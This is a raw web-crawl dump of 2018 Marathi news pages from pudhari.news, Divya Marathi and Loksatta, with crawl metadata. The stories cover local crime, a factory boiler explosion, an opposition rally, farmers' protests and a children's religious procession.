मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/fight-in-two-groups/", "date_download": "2018-09-25T17:13:19Z", "digest": "sha1:4QKUKXQJ4UM7LYZ335YVG6FE43J6VHQK", "length": 6665, "nlines": 49, "source_domain": "www.pudhari.news", "title": " दोन गटांत हाणामारी, महिलेचा कान तुटला | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › दोन गटांत हाणामारी, महिलेचा कान तुटला\nदोन गटांत हाणामारी, महिलेचा कान तुटला\nकिरकोळ कारणावरून दोन गटांत झालेल्या हाणामारीत तीन ते चार जण जखमी झाल्याची घटना तालुक्यातील डवाळा शिवारात घडली. यात एका महिलेचा कान तुटला असून तिचे 4 हजार रुपयांचे सोनेही पळविले आहे. परस्परविरोधी फिर्यादीवरून पोलिसांनी एकूण 12 जणांविरुद्ध गुन्हा दाखल केला आहे. यात सहा जणांविरुद्ध अ‍ॅट्रॉसिटीचा गुन्हा नोंदविण्यात आला आहे.\nयाबाबत पोलिसांनी दिलेली अधिक माहिती अशी की, तालुक्यातील डवाळा येथील ज्योती दिवे यांनी दिलेल्या फिर्यादीनुसार ऋषिकेश बहिरट, मिथून बहिरट, राकेश बहिरट, बाबासाहेब बहिरट व अन्य दोन अनोळखी इसमांनी सोमवारी रात्र 8 वाजेला शेतवस्तीवर येऊन जातीवाचक शिवीगाळ करून लाठ्या-काठ्यांनी मारहाण केली. यात ज्योती यांच्यासह एकजण जखमी झाला आहे. मारहाण करताना जिवे मारण्याची धमकीही त्यांना दिली. त्यांच्या तक्रारीवरून या सहा जणांविरुद्ध अ‍ॅट्रोसिटीचा अन्वये गुन्हा दाखल केला आहे. तर गंगुबाई बहिरट यांनी दिलेल्या तक्रारीत म्हटले आहे की, गावातीलच लखन दिवे, भारत दिवे, ज्योती दिवे, शीला दिवे, कोमल दिवे व अमोल नवगिरे हे सर्वजण सोमवारी रात्री 8 वाजेला त्यांच्या शेत गट क्र.124 मध्ये आले. त्यांनी हातातील लाठ्याकाठ्यांनी बहिरटकुटुंबीयांना मारहाण करून जिवे मारण्याची धमकी दिली. त्यावेळी झालेल्या झटापटीत गंगुबाई यांच्या कानाचा लचका तोडला तसेच डाव्या कानातील दीड ग्रॅम वजनाचे सोन्याचे दागिने तोडून पसार झाले. याप्रकरणी गंगुबाई बहिरट यांनी दिलेल्या फिर्यादीवरून या सहा जणांविरुद्ध गुन्हा दाखल करण्यात आला आहे.\nदोन गटांत हाणामारी, महिलेचा कान तुटला\nधक्कादायकः आजार दूर करतो, चाळीस दिवस येथे रहा\nमुंडे-विलासराव मैत्री आता स्मारक रूपात\n'आजार बरा करण्यासाठी ४० दिवस सोबत रहा' बाबाची भोंंदूगिरी\nपित्याचा कुर्‍हाडीचे घाव घालून खून\nवडीलांना जाळणार्‍या मुलाच्या शोधासाठी पोलिस पथके रवाना\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Change-the-government-now-Opposition-leaders/", "date_download": "2018-09-25T17:11:45Z", "digest": "sha1:VQE4DKDEH4EOAX2WQQ4J34QGXFJU246J", "length": 9606, "nlines": 53, "source_domain": "www.pudhari.news", "title": " आता सरकार बदला : विरोधी पक्षनेत्यांच्या सभेतील सूर | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › आता सरकार बदला : विरोधी पक्षनेत्यांच्या सभेतील सूर\nआता सरकार बदला : विरोधी पक्षनेत्यांच्या सभेतील सूर\nमुंबई : विशेष प्रतिनिधी\nराज्य व केंद्रातील सरकारने जनतेचा विश्वासघात केला आहे. अच्छे दिनाच्या नावाखाली दाखवलेली स्वप्ने पूर्ण करू न शकणारे हे सरकार आता बदललेच पाहिजे, असा सूर दादर येथे आयोजित केलेल्या विरोधी पक्षांच्या सभेत उमटला. मराठी अभ्यास केंद्राच्या वतीने मुंबई मराठी ग्रंथालयाच्या सुरेंद्र गावस्कर सभागृहात या सभेचे आयोजन करण्यात आले होते.\nकाँग्रेस नेते आमदार भाई जगताप यांनी भाजप सरकार आल्यापासून गेल्या चार वर्षात सार्वजनिक क्षेत्रातील नोकर्‍या घटत असल्याबाबत चिंता व्यक्त केली. ते म्हणाले, सरकार आकडेवारी घोषित करून जनतेची दिशाभूल करत आहे. राष्ट्रवादी काँग्रेसचे आमदार, कामगार नेते किरण पावसकर यांनीही सरकारच्या धोरणावर टीका केली. राज्यातील दुष्काळी परिस्थीतीचा संदर्भ देत त्यांनी सरकारच्या सगळ्या विभागात दुष्काळ असल्याचा टोला लगावला. ते म्हणाले, राज्य सरकारने कर्जमाफी केल्यानंतरही आतापर्यंत 435 शेतकर्‍यांनी आतमहत्या केल्या आहेत. केवळ 20 ते 25 हजार रुपयांच्या तगाद्याला त्रस्त होऊन शेतकरी आत्महत्या करत आहेत, पण सरकारला काहीही देणेघेणे नाही.\nभारतीय कम्युनिस्ट पक्षाचे नेते प्रकाश रेड्डी यांनी केंद्र व राज्य सरकारच्या चुकीच्या धोरणावर बोट ठेवले. काँग्रेस आघाडी सरकारही त्याला जबाबदार असल्याचा आरोप त्यांनी केला. रेड्डी म्हणाले, काही वर्षांपूर्वी कामगार सरकारला झुकवीत होते, पण आता कामगारच उद्ध्वस्त झाला आहे. कायद्यात सोयीचा बदल केला करून कृषी आणि कामगार क्षेत्र उद्ध्वस्त करण्याचे षडयंत्र रचले गेले आहे. सगळ्या क्षेत्रात कंत्राटीकरण झपाट्याने केले जात असून भाजपचा एक आमदार सगळीकडे कंत्राटी कामगार पुरविण्याचे कंत्राट घेऊन लाखो रुपये कमवत आहे. काँग्रेस हा मोठा पक्ष असल्याने बदल घडवून आणण्यासाठी या पक्षांनेच पुढाकार घ्यावा, अशी विनंतीही त्यांनी केला.\nमुंबई जनता दलाचे अध्यक्ष प्रभाकर नारकर यांनी महागाई, शिक्षण क्षेत्रातील अंदाधुंदी आणि बेघरांकडे दुर्लक्ष असल्यामुळे राज्य सरकारविरोधात असंतोष असल्याचा दावा केला. नारकर म्हणाले, देशातील जनतेने मागणी केली नसताना केंद्र व राज्य सरकारने बुलेट ट्रेन आणण्याचे षडयंत्र आखले आहे. त्याऐवजी झोपड्या तोडून मुंबईकरांना घरे दिली पाहिजे होती. मुंबईतील झोपडपटट्या तोडून चांगली घरे बांधण्यासाठी केवळ एक लाख कोटींची गरज आहे.\nआपल्या अध्यक्षीय भाषणातून मराठी भाषा केंद्राचे अध्यक्ष डॉ.दीपक पवार म्हणाले, चुकीची धोरणे राबविल्यामुळे हा कार्यक्रम करण्याची सरकारने आम्हाला संधी दिली. मराठी भाषा संवर्धन आणि या मराठीला अभिजात भाषेचा दर्जा मिळावा, म्हणून आपण सरकार दरबारी भांडत आहोत. पण हे सरकार केवळ प्रयत्न करत असल्याचा देखावा निर्माण करत आहे. विरोधक या प्रश्नांची सोडवणूक करतील, या भावनेने आपण हा कार्यक्रम आयोजित केल्याचे पवार यांनी स्पष्ट केले.\nताडवाडी बीआयटी चाळीचा पुनर्विकास रद्द \nलोकसभा, विधानसभेत काँग्रेस आघाडी\n४० वर्षांनंतर भुजबळांचे पुन्हा भायखळा\nकर्जमाफी मिळालेल्यांना फेरकर्ज द्या\nकोळीवाड्यांच्या जागा जाणार बिल्डरांच्या घशात\nअ‍ॅट्रॉसिटी शिथिल करणार नाही, गरज पडल्यास अध्यादेश\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Explosion-in-the-wada-company-Killed-three-laborers/", "date_download": "2018-09-25T16:57:19Z", "digest": "sha1:3TDMH3KWZQI3MFMUKZ4NZN4YFWBVDRYC", "length": 4404, "nlines": 35, "source_domain": "www.pudhari.news", "title": " वाड्याच्या कंपनीत स्फोट; तीन मजूर ठार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › वाड्याच्या कंपनीत स्फोट; तीन मजूर ठार\nवाड्याच्या कंपनीत स्फोट; तीन मजूर ठार\nवाडा तालुक्यातील कांबारे गावाजवळ असलेल्या तोरणे इस्पात उद्योग प्रा. लि. या कंपनीतील बॉयलरमध्ये झालेल्या स्फोटात तीन मजुरांचा जागीच मृत्यू झाल्याची घटना बुधवारी सायंकाळी घडली. या दुर्घटनेत एक कामगार गंभीर जखमी झाला असून, त्याला ठाणे येथील रुग्णालयात उपचारासाठी दाखल करण्यात आले आहे.\nतोरणे इस्पात उद्योग प्रा. लि. या कंपनीमध्ये लोखंड वितळवून इमारतीच्या बांधकामासाठी लागणार्‍या सळईचे उत्पादन होते. यासाठी मोठी भट्टी पेटवली जाते. या भट्टीत संध्याकाळी चारच्या सुमारास अचानक स्फोट झाला. हा स्फोट इतका भीषण होता की यात निलेश यादव (28), सनी रतनलाल वर्मा (28), संजय गुप्ता (27) यांचा होरपळून जागीच मृत्यू झाला. तर विनोद यादव (35) हा गंभीर जखमी झाल्याने त्याला अधिक उपचारासाठी ठाणे येथे पाठविण्यात आले आहे. सर्व कामगार हे परप्रांतीय असून कारखान्यातील कामगारांच्या असुरक्षिततेचा मुद्दा एकदा ऐरणीवर आला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/MLA-dream-within-a-year-elected-as-corporator-in-municipal-corporation/", "date_download": "2018-09-25T17:15:19Z", "digest": "sha1:XM7DUNPFB32QPPYBLKMTKSCATSDMVE2I", "length": 8741, "nlines": 37, "source_domain": "www.pudhari.news", "title": " वर्षातच पडू लागली नगरसेवकांना आमदारकीची स्वप्ने | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › वर्षातच पडू लागली नगरसेवकांना आमदारकीची स्वप्ने\nवर्षातच पडू लागली नगरसेवकांना आमदारकीची स्वप्ने\nपुणे : हिरा सरवदे\nमहापालिकेत नगरसेवक म्हणून निवडून आलेल्या माननीयांना वर्षभरातच आमदारकीची स्वप्ने पडू लागली आहेत. वाढदिवसाचे औचित्य साधून आमदारकीसाठी उतावीळ झालेले नगरसेवक कार्यकर्त्यांची नावे पुढे करून शहरभर भावी आमदार म्हणून फ्लेक्सबाजी करत आहेत. विशेष म्हणजे ही फ्लेक्सबाजी करणार्‍यांमध्ये ‘लाटे’वर निवडून येऊन पहिल्यादांच महापालिका सभागृहात प्रवेश केलेल्या नगरसेवकांचे प्रमाण जास्त आहे.\nमहापालिकेचे नवे सभागृह अस्तित्वात येऊन नुकतेच एक वर्ष पूर्ण झाले आहे. नगरसेवकपदाला वर्षपूर्ती झाल्यानंतर बोटावर मोजता येईल एवढ्यांनीच वर्षभरात केलेल्या कामांचा अहवाल छापला; तर अनेकांनी वर्षभरात काय काम केले, हे सांगणे बाजूला ठेवून ‘यशस्वी वर्षपूर्ती’ असा मजकूर असलेली फ्लेक्सबाजी करण्यात धन्यता मानली. सत्ताधारी नगरसेवकांनी तर वर्षपूर्तीला उत्सवाचेच स्वरूप दिले होते. सध्या पालिका सभागृहामध्ये नवीन सदस्यांची मोठी संख्या आहे. वर्षपूर्ती झाल्यानंतरही अनेकांना सभागृहाच्या आणि पालिकेने करावयाच्या कामांची पुरेशी माहिती नाही; त्यामुळे सभागृहात पक्षाची आणि पक्षातील नवख्या नगरसेवकांची बाजू सांभाळण्याची जबाबदारी त्या त्या पक्षातील ज्येष्ठ नगरसेवकांवर येऊन पडली आहे.\nअसे असले तरी पालिकेच्या कामकाजाची अद्याप पुरेशी माहिती न झालेल्या आणि लाटेवर निवडून अलेल्या नवख्या नगरसेवकांना वर्षभरात ‘आमदारकी’ची स्वप्ने पडू लागली आहेत. पंतप्रधान नरेंद्र मोदी यांच्या लोकप्रियतेचा फायदा घेण्यासाठी 2019 मध्ये होणार्‍या लोकसभेच्या निवडणुकीबरोबरच विधानसभेचीही निवडणूक घेण्याच्या वरिष्ठ पातळीवरील हालचाली आणि चर्चा याचा विचार करून अनेक नगरसेवक अशी फ्लेक्सबाजी करत आहेत. वाढदिवसाचे आणि पालिका हद्दीतील गावांमधील जत्रांचे (उरुस) औचित्य साधून ही फ्लेक्सबाजी केली जात आहे.\nपालिका निवडणुकीत आपणास तिकीट मिळण्यासाठी ज्या आमदाराने प्रयत्न केले, त्याच आमदाराला शह देण्याचे मनसुबे नगरसेवकांकडून रचले जात आहेत. स्वपक्षाच्या विद्यमान आमदाराला डावलून आपणासच विधानसभेचे तिकीट मिळावे, यासाठी अनेकजण पक्षाच्या वरिष्ठांशी संपर्क वाढवण्याचा प्रयत्न करताना दिसत आहेत. पक्षाचे तिकीट मिळाल्यास पालिकेप्रमाणे विधानसभेतही आपण मोदी लाटेवर पोहोचू शकतो, असा अंदाज अनेकजण बांधत आहेत. भावी आमदार म्हणून फ्लेक्सबाजी करणार्‍या नगरसेवकांमध्ये उपनगरांतील नगरसेवकांचे प्रमाण मोठे आहे; महिला नगरसेविकाही यामध्ये मागे नाहीत.\nयाशिवाय ज्या नगरसेवकाचा किंवा नगरसेविकेचा फ्लेक्सवर ‘भावी आमदार’ असा उल्लेख नसतो, त्याच्या घरातील एका व्यक्तीचा फोटोसह ‘भावी आमदार’ असा उल्लेख असतोच, असे फ्लेक्स प्रभागासोबतच पालिका भवनसमोर लावण्याची स्पर्धा अलीकडच्या काळात वाढली आहे. एकंदरीतच वर्षभरातच नगरसेवकांना आमदारपदाची स्वप्ने पडू लागली आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/pune-from-1-june-farmer-protest/", "date_download": "2018-09-25T16:55:45Z", "digest": "sha1:YSPILB7DLFYKEHGTR5PIPNQMROF3ASBR", "length": 9979, "nlines": 38, "source_domain": "www.pudhari.news", "title": " एक जून पासून राज्यात पुन्हा शेतकरी आंदोलन ! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › एक जून पासून राज्यात पुन्हा शेतकरी आंदोलन \nएक जून पासून राज्यात पुन्हा शेतकरी आंदोलन \nशेतक-यांच्या ऐतिहासिक संपाला एक वर्ष पूर्ण होत आहे. त्‍या पार्श्वभूमीवर ज्वलंत शेतकरी प्रश्नांसाठी एक जून पासून राज्यात पुन्हा शेतकरी आंदोलनाची हाक देण्यात आली आहे.\nदुधाला किमान २७ रुपये भाव द्यावा या प्रमुख मागणीसाठी प्रहार, किसान सभा व लाख गंगा आंदोलकांनी सर्व दुध उत्पादक जिल्ह्यात तहसील कार्यालयांमध्ये खाटी जनावरे बांधून व सरकारच्या दगडी पुतळ्याला दुधाचा अभिषेक घालून आंदोलन करण्याची हाक दिली आहे. लाखागंगा येथे संपन्न झालेल्या ग्रामसभेत आ. बच्चू कडू, डॉ. अजित नवले, धनंजय धोरडे यांच्या उपस्थितीत आंदोलनाचा निर्णय घेण्यात आला होता.\nशेतकरी संप व ऐतिहासिक लॉंग मार्चला दिलेल्या आश्वासनांची पूर्तता करा, शेतक-यांना सरसकट कर्जमुक्ती द्या व शेतीमालाला उत्पादन खर्चाच्या दीडपट भावाची हमी देणारा कायदा करा या मागण्यांसाठी किसान सभेच्या वतीने एक जून रोजी राज्यभर तहसील कार्यालयांना घेराव घालत आंदोलन करण्यात येणार असल्याचे जाहीर करण्यात आले आहे. सरकारने या आंदोलनाची रास्त दखल घेत मागण्यांबाबत कारवाई न केल्यास समविचारी शेतकरी संघटनांना बरोबर घेत आंदोलन अधिक तीव्र करण्यात येणार असल्याचे किसान सभेने जाहीर केले आहे. किसान सभेचे केंद्रीय अध्यक्ष डॉ. अशोक ढवळे, आ. जे.पी.गावित, किसन गुजर आदींच्या उपस्थितीत संपन्न झालेल्या किसान सभेच्या राज्य कौन्सिलच्या बैठकीत हा निर्णय घेण्यात आला आहे.\nशेतक-यांच्या ज्वलंत मागण्यांसाठी एक जून २०१७ रोजी राज्यात शेतक-यांचा ऐतिहासिक संप पार पडला. किसान सभेने या मागण्यांसाठी नाशिक ते मुंबई हजारो शेतक-यांचा पायी लॉंग मार्च काढत, ऐतिहासिक आंदोलन केले. दुध उत्पादक शेतकरी संघर्ष समितीच्या वतीने ‘लुटता कशाला फुकटच न्या’ म्हणत मोफत दुध वाटपाचे आंदोलन करण्यात आले. आ. बच्चू कडू यांच्या नेतृत्वाखालीही दुध प्रश्नावर आंदोलन झाले. शेतक-यांच्या इतर विविध संघटनांनी ही या प्रश्नांवर सातत्याने आंदोलने केली बोंड अळी, जमिनीचे हक्क, पिक विमा या प्रश्नांवरही राज्यात सातत्याने आंदोलने झाली. शेतक-यांच्या या आंदोलनाच्या पार्श्वभूमीवर सरकारने आंदोलकांच्या मागण्या सातत्याने मान्य केल्या. मात्र या मान्य मागण्यांची अमलबजावणी करताना शेतक-यांचा विश्वासघात करण्यात आला. अशा पार्श्वभूमीवर शेतक-यांच्या विश्वासघाता विरोधात समविचारी संघटनांना सोबत घेत पुन्हा एकदा रस्त्यावर उतरण्याची भूमिका घेण्यात आली आहे. एक जून रोजी सरकारी कार्यालयांना घेराव घालत या आंदोलनाची सुरुवात करण्यात येणार आहे. समविचारी शेतकरी संघटनांबरोबर चर्चा करून त्या नंतर लढ्याची पुढील दिशा निश्चित केली जाणार आहे.\nस्वामिनाथन आयोगाच्या शिफारशींची अंमलबजावणी करा, शेतक-यांना संपूर्ण कर्जमुक्त व वीजबिल मुक्ती करा, शेतीमालाला उत्पादन खर्चाच्या दीडपट भावाची कायदेशीर हमी द्या, दुधाला किमान २७ रुपये दराची हमी देणा-या शासनादेशाची अंमलबजावणी करा, बियाणे, कीटकनाशके व शेती आदाने निर्माते व विक्रेत्यांकडून शेतक-यांची होणारी लुटमार रोखण्यासाठी कडक उपाययोजना करा. स्वस्त दरात शेती आदाने उपलब्ध करून द्या, वनाधिकार कायद्याची अंमलबजावणी करून कसत असलेल्या सर्व प्रकारच्या जमिनी कसणार्‍यांच्या नावे करा, आकारी पड जमिनीचा प्रश्न सोडवा, कष्टकरी शेतकरी, शेतमजुरांना पेन्शन द्या व शेतक-यांसाठी पिक, पशु व कुटुंब आरोग्य विम्याचे सर्वंकष संरक्षण दया या प्रमुख मागण्यासाठी हे आंदोलन करण्यात येत आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/Child-Warkari-Dindi-in-Shreepur/", "date_download": "2018-09-25T16:54:13Z", "digest": "sha1:5OSS3OFSOE46HPUQKX3PVUQX3WFXZ36X", "length": 5427, "nlines": 36, "source_domain": "www.pudhari.news", "title": " श्रीपूरमध्ये निघाली बाल वारकर्‍यांची दिंडी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › श्रीपूरमध्ये निघाली बाल वारकर्‍यांची दिंडी\nश्रीपूरमध्ये निघाली बाल वारकर्‍यांची दिंडी\nश्रीपूर : सुखदेव साठे\nखांद्यावर फडफडणार्‍या भगव्या पताका,कपाळी गंध , हातात टाळ,संतांच्या व वारकर्‍यांची वेशभूषा परिधान करून ग्यानबा-तुकाराम व माऊली माऊलीचा जयघोष करीत श्रीपूर येथील चंद्रशेखर जि.प. शाळा व इंदिराबाई आगाशे इंग्लिश स्कुलच्या सुमारे 1000 हजार विद्यार्थ्यां पालखी सोहळा काढला. या पालखी सोहळ्याचे हे 21 वे वर्ष असून अखंडितपणे ही परंपरा चालु आहे.\nसुरुवातीला पालखीतील पादुकांचे पूजन करून पालखीचे प्रस्थान करण्यात आले. पालखी कर्मयोगी निवासस्थानाजवळ येताच त्या ठिकाणी अश्वाचे गोल रिंगण घेण्यात आले. या सोहळ्यात आरोग्य पथक,स्काऊट क्लब दिंडी,वृक्ष दिंडी, भजनी दिंडी,संतांच्या वेशभूषेतील दोन चित्ररथ अशा एकूण 25 दिंडयामधुन 1000 बालवारकर्‍यानी सहभाग घेतला होता.\nपालखी श्रीपूरमधील कर्मयोगी कामगार कॉलनी,गणेश हॉल पासून पांडुरंग कारखाना प्रवेशद्वार तसेच संत तुकाराम महाराज पालखी मार्गावरून पुढे शिवाजी चौकातून श्रीनगर कॉलनीत नेण्यात आली. पांडुरंग कारखाना व जागृती तरुण मंडळाच्यावतीने मुलाना खाऊ वाटप करण्यात आले. यावेळी शिक्षक,शिक्षिका व महिलांनी फुगड़ी खेळून आनंदत्सव साजरा केला. पालखी प्रकाशनगर मार्गे जात शाळेच्या मैदानावर विसावली. पालखी सोहळा यशस्वी करण्यासाठी जि.प. च्या मुख्याध्यापिका सुरेखा जाधव व इंदिराबाई स्कुलचे मुख्याध्यापक सुरेश खडतरे यांनी परिश्रम घेतले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/maharashtra/", "date_download": "2018-09-25T17:44:57Z", "digest": "sha1:JKJ5YOLORRWSIRN5J2UIFTS3CWUZVDOL", "length": 3844, "nlines": 39, "source_domain": "m.divyamarathi.bhaskar.com", "title": "Maharashtra News, Latest And Breaking News In Marathi | Divya Marathi", "raw_content": "\nधारावीतील मुलांना बॉक्सिंगचे धडे देणार माइक टायसन, 29 सप्टेंबर रोजी मुंबईत आगमन\nयापुढे चुकूनही'गणपती बाप्‍पा मोरया'म्‍हणणार नाही, MIM ने खडसावल्‍यानंतर वारीस पठाण यांची माफी\nभाजप प्रदेश कार्यकारिणीची उद्यापासून दोनदिवसीय बैठक; युती आणि निवडणुकीबाबत होणार चर्चा\nअल्पवयीनाचा शारीरिक संबंधास होकार म्हणजे सहमती नव्हे.. दोषीला 7 वर्षांची शिक्षा\nअण्णासाहेब पाटील महामंडळ अध्यक्ष, उपाध्यक्षांना मंत्रिदर्जा; माथाडी कामगारांना 5000 घरे देणार : मुख्यमंत्री\nमनोहर पर्रीकरांच्या प्रकृतीपेक्षा अमित शहा यांना राज्य गमावण्याची भीती जास्त- शिवसेना\nज्येष्ठ पार्श्वगायिका अनुराधा पौडवाल यांची फसवणूक...एक फ्लॅट विकला दोन ते तीन जणांना\nभगवानगडाला शह देण्‍यासाठी सावरगाव घाटात लवकरच स्‍मारक, पंकजा मुंडेंची घोषणा\nआमिरच्‍या ऑनस्‍क्रीन वडिलांनी ऑटोला दिली धडक, नशेत तर्रर्र अवस्‍थेत पोलिसांनी घेतले ताब्‍यात\nपश्चिम बंगालमधील अल्पवयीन मुलीस १५ दिवस डांबून ठेवले, दोन जणांनी केला सतत अत्याचार\nसेव्हिंग अकाऊंटवर मिळेल फिक्स्ड डिपॉझिटसारखे रिटर्न, तुमच्यासमोर आहेत हे 3 ऑप्शन\nतिस-या मजल्यावरुन पडल्यामुळे 8 वर्षीय मुलीचा मृत्यू, घटना CCTVमध्ये कैद\nपेट्रोल आणखी 14 पैशांनी महागले, मुंबईत 90.22 रुपये दर; क्रूड 80 डॉलर प्रति बॅरलच्या पार\nखाऊ देण्याच्या बहाण्याने चिमुरडीला झुडपात नेले, मारहान करून केला बलात्कार\nसमलैंगिक मित्राला जखमी करणारा अाराेपी पोलिस तावडीतून पळाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00233.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://www.loksatta.com/samorchyabakavrun-news/p-chidambaram-slams-modi-government-over-employment-generation-1623692/", "date_download": "2018-09-25T17:16:12Z", "digest": "sha1:OB4HQT4NYMKN3HENXIZ23DO22M7MPGXU", "length": 25239, "nlines": 228, "source_domain": "www.loksatta.com", "title": "p chidambaram slams modi government over employment generation | नवे रोजगार : ७० लाखांची बढाई | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास 